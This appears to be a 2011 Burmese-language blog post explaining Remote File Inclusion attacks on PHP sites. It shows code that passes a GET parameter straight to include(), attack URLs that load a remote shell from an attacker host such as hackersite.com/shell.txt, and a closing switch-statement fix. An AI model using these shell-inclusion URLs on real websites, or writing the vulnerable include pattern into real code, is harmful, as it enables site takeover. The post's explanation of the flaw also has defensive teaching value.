စဥ္းစားမႈမပါဘဲ သင္ယူေသာ ပညာသည္ အခ်ည္းႏွီးျဖစ္၍ ၊ ပညာမရွိဘဲ စဥ္းစားျခင္းကား အလြန္ အႏၱရာယ္ၾကီးေပသည္။ (ကြန္ျဖဴးရွပ္)

Saturday, October 8, 2011

RFI Hacking Guide

RFF : http://www.technoclans.co.cc/2011/09/28/hello-world/#more-1
RFI Hacking ဆိုတာ ေလးကို အရင္ေျပာပါ့မယ္.။ RFI Hacking ရဲ ႔အရွည္က Remote File Inclusion ျဖစ္ျပီး Remote ဆိုတဲ့အတုိင္း Website တစ္ခုကို အျခား Website ကေန ထိန္းခ်ဳပ္ျခင္းပါ..
ပထမဦးဆံုး Exploit Code ကိုအရင္ၾကည့္ရေအာင္…။
PHP Code:
$page = $_GET['page'];
include(“”.$page.”.html”);
include Command က တဆင့္ တျခား Website က Webpage ကို ကူးယူႏိုင္တဲ့ Vuln ကို ျဖစ္ေစပါတယ္..။ ဥပမာ…Website တစ္ခုမွာ
1.Music
2.Video
3.contact ဆိုတဲ့ Page သံုးခုရွိမယ္ဆိုပါစို႔…။ Index ေကာပါရင္ ေလးခုေပါ့ဗ်ာ.။ ဒီေတာ့
1.music.php
2.video.php
3.contact.php
4.index.php ဆိုျပီး ေလးခုရွိပါမယ္ ( Index Page မွာေတာ့ Page Header ေတြ Footer ေတြ ပါမယ္ေပါ့ဗ်ာ..)
အဲ့ဒီ့ Page ေလးခုကို သြားခ်င္ရင္ -
www.target.com/index.php
www.target.com/index.php?=music.php
www.target.com/index.php?=video.php
www.target.com/index.php?=contact.php  ဆိုျပီး သြားရပါလိမ့္မယ္.။
ဒီလို ဘာလို႔ သြားလို႔ရတာလဲဆိုတာကို ေျပာဖို႔ Vuln ျဖစ္ေနတဲ့ Index Page ရဲ ႔ Code ေလးကိုၾကည့္ရေအာင္..။
PHP Code:
//html for header
//html for menu
<?php
$page = $_GET['page'];
include($page); ?>
//html for footer
php Code ရဲ ႔ Line No.2 ကိုၾကည့္လို္က္ပါ. Get Method ကို ေတြ ႔ပါလိမ့္မယ္.။ အဲ့ဒီ့ Get Method ေၾကာင့္ ကၽြန္ေတာ္တုိ ႔ Page ေတြကိုသြားတဲ့အခါမွာ
www.target.com/index.php?=video.php လို႔ သြားခြင့္ရွိတာပါ..။ Coding မွာ ၾကည့္လိုက္ပါ.. လိုင္း နံပတ္ ၅ က include ေၾကာင့္ video Page မွာ Copy ကူးျပီး Index မွာ video.php အေနနဲ႔ တက္လာတာပါ..။ ဒါက အၾကီးမားဆံုး Security အမွားၾကီးပါ.။ ဒီသေဘာအရဆို တျခား အေ၀းက Website တစ္ခု ကိုေကာ Copy ကူးျပီး index မွာလာခ်ိတ္လို႔ ေကာ မရဘူးလားလို ႔ ေမးလာရင္ ရပါတယ္
www.target.com/index.php?=http://www.google.com/?  လို႔ သာ ရိုက္လိုက္ရင္ google Page ဟာ Copy ကူးျပီး Index Page မွာ တက္လာပါေတာ့တယ္
google မဟုတ္ဘဲ တျခား ၾကိဳက္တဲ့ Page တင္လို႔ရတာေၾကာင့္ ကၽြန္ေတာ္တို႔ ဟာ shell link ကုိ ထည့္ျပီး Target Website ကိုထည့္ခ်ဳပ္လိုက္ပါေတာ့တယ္.။ ေအာက္မွာၾကည့္ပါ..။
http://www.target.com/index.php?page=http://mysite.com/shell.txt ဆိုျပီး ခ်ိတ္လိုက္တာနဲ႔ Text File အေနနဲ႔ သိမ္းဆည္းထားတဲ့ Shell ကို excute လုပ္ျပီး Target Website ေပၚမွာ လာ Run တဲ့ အတြက္ ကၽြန္ေတာ္ဟာ Target ရဲ ႔ Website ကို ထိန္းခ်ဳပ္ ခြင့္ရွိသြားပါျပီ..။
…………………………………………………
RFI Exploit ျဖစ္ေစတဲ့ အျခား ဥပမာ တစ္ခုကို ထပ္ျပီး တင္ျပပါ့မယ္..။ Undefined Variable ပါ..။ Programming ကို Basic ေလာက္ နားလည္တဲ့လူဆိုရင္ေတာ့ Variable ဆိုတာ ဘာလဲ လို႔ ထပ္ရွင္းျပဖို႔ မလုိေတာ့ပါဘူး ဒီေနရာမွာ Hacking Method ကို ပဲ ေျပာျပမွာ ျဖစ္လို႔ Variable ဆိုတာ ကို ရွင္းျပမေနေတာ့ပါဘူး..။
Developer တစ္ေယာက္ဟာ သူ ႔ ရဲ ႔ Website ကို သူ ႔ရဲ ႔ Mysql Server နဲ ႔ ခ်ိတ္ဆက္ခ်င္ပါတယ္.။ ဥပမာ..သူ ႔ ဆိုဒ္ Index Page မွာ Content ေတြ ကို Mysql နဲ႔ ခ်ိတ္ထားခ်င္တယ္ဆိုပါစို႔. Mysql Server ကို ခ်ိတ္ဆက္ဖို႔ဆိုရင္ User Name နဲ ႔ Password တစ္ခု လို္အပ္ပါလိမ့္မယ္..။ အဲ့ဒီ့ User Name နဲ႔  Password ကို db_details.php ဆိုတဲ့ File ထဲမွာ သိမ္းထားပါတယ္.။
တကယ္လုိ ႔ ကၽြန္ေတာ္တို႔ဟာ video.php ဆိုတာကို index Page က တစ္ဆင့္ ဖြင့္တယ္ဆိုပါစို႔ဗ်ာ.။
www.target/index.php?page=video.php
တကယ္လို႔ အဲ့ဒီ့ Page က PHP Code ကိုၾကည့္မယ္ဆိုရင္..
PHP Code:
//html for header
//html for menu
<?php
$database_config_file = “db_details.php”;
$page = $_GET['page'];
include($page);
?>
//html for footer <?php
include($database_config_file);
//code to connect to MySQL and get the latest updates
?>
Index Page မွာ $database_config_file ကို db_detils.php နဲ႔ ခ်ိတ္ထားတာကို ေတြ ႔ရပါမယ္..။ ဒါေပသိ ကၽြန္ေတာ္ တို ႔ ခုေရာက္ေနတဲ့ ေနရာက video.php ျဖစ္တဲ့အတြက္ အဲ့ဒီ့ db_detils.php နဲ႔ခ်ိတ္ဖို႔ မလိုအပ္ပါဘူး..ဒီေနရာမွာ လာခ်ိတ္ေနတာေတြ ႔ ရ မွာပါ..။ အဲ့ဒီ့ ေနရာမွာ ျပႆနာ တက္သြားတာပါ..။ ဒီေတာ့ ထံုးစံ အတိုင္း ကၽြန္ေတာ္တို ႔ရ ဲ ႔  Shell Link ကို ခ်ိတ္ခြင့္ရွိသြားပါျပီ..။
www.target/index.php?page=http://www.hackersite.com/shell.txt ေပါ့ဗ်  
RFI Hacking Technique ကေတာ့ ဒီေနရာမွာ ျပီးသြားပါျပီ..။ ေအာက္ဟာကေတာ့ Countermeasure ေလးပါ..။

Countermeasure

ေရွ ႔မွာ သီအိုရီ ေျပာခဲ့တဲ့ အတိုင္း include Method ေၾကာင့္ Copy ကူးျပီး Get နဲ႔ လွမ္းယူလိုက္တာျဖစ္တဲ့အတြက္ ဘယ္ကဟာကို လွမ္းယူရမယ္ဆိုတာ အတိအက် ေျပာေပးလိုက္ရင္ ကူးခ်င္တဲ ့ ဆိုဒ္ကို Copy ကူးခြင့္ေပးမွာ မဟုတ္ဘဲ တိတိက်က် ျဖစ္သြားမွာပါ  
PHP Code
<?php
$page = $_GET['page'];
switch($page){
case “videogames”;
include(“videogames.php”);
break;
case “contact”:
include(“contact.php”);
break;
case “music”:
include(“music.php”);
break;
default: //A page wasn’t chosen, or one that wasn’t “home” or “gallery”
echo “Choose a page from our fine selection!1!!”;
break;
}
?>
အခုဆိုရင္ RFI Hacking ကို ေသေသခ်ာခ်ာ နားလည္ သြားေလာက္ျပီ ထင္ပါတယ္…။
အားလံုး အဆင္ေျပၾကပါေစ…။
Related Posts Plugin for WordPress, Blogger...